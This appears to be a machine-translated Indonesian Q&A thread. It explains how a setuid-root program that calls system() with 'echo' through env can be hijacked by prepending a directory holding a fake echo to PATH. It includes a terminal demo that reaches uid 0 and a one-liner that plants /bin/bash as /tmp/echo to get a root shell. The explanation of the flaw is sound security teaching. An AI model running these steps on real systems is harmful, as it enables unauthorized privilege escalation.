Anda dapat mengganti PATH
variabel untuk menunjuk ke direktori dengan versi khusus echo
Anda dan sejak echo
dieksekusi menggunakan env
, tidak diperlakukan sebagai built-in.
Ini merupakan kerentanan hanya jika kode dijalankan sebagai pengguna istimewa.
Pada contoh di bawah, file v.c berisi kode dari pertanyaan.
$ cat echo.c
#include <stdio.h>
#include <unistd.h>
int main() {
printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x 1 user group 8752 Nov 29 01:55 echo
-rw-r--r-- 1 user group 99 Nov 29 01:54 echo.c
-rwsr-sr-x 1 root group 8896 Nov 29 01:55 v
-rw-r--r-- 1 user group 279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$
Perhatikan bahwa pengaturan ID pengguna asli, ID pengguna efektif dan set-user-ID tersimpan dengan panggilan ke setresuid()
sebelum panggilan ke system()
dalam kode rentan yang diposting dalam pertanyaan memungkinkan seseorang untuk mengeksploitasi kerentanan bahkan ketika hanya ID pengguna yang efektif yang diatur ke ID pengguna yang memiliki hak istimewa dan ID pengguna yang sebenarnya tetap tidak memiliki hak istimewa (seperti misalnya kasus ketika mengandalkan bit set-user-ID pada file seperti di atas). Tanpa panggilan ke setresuid()
shell dijalankan oleh system()
akan mengatur ulang ID pengguna yang efektif kembali ke ID pengguna yang sebenarnya membuat eksploit menjadi tidak efektif. Namun, jika kode rentan dijalankan dengan ID pengguna asli dari pengguna istimewa, system()
panggilan saja sudah cukup. Mengutip sh
halaman manual:
Jika shell dimulai dengan id pengguna (grup) efektif yang tidak sama dengan id pengguna (grup) sebenarnya, dan opsi -p tidak disediakan, tidak ada file startup yang dibaca, fungsi shell tidak diwariskan dari lingkungan, variabel SHELLOPTS , jika muncul di lingkungan, diabaikan, dan userid yang efektif disetel ke id pengguna yang sebenarnya. Jika opsi -p disediakan saat pemanggilan, perilaku startup sama, tetapi id pengguna yang efektif tidak disetel ulang.
Perhatikan juga bahwa setresuid()
tidak portabel, tetapi setuid()
atau setreuid()
juga dapat digunakan untuk efek yang sama.
sebenarnya pada panggilan fungsi sistem Anda dapat mengacaukan echo
command.misalnya jika Anda menjalankan kode berikut :
echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH
Anda akan mendapatkan shell dengan izin pemilik file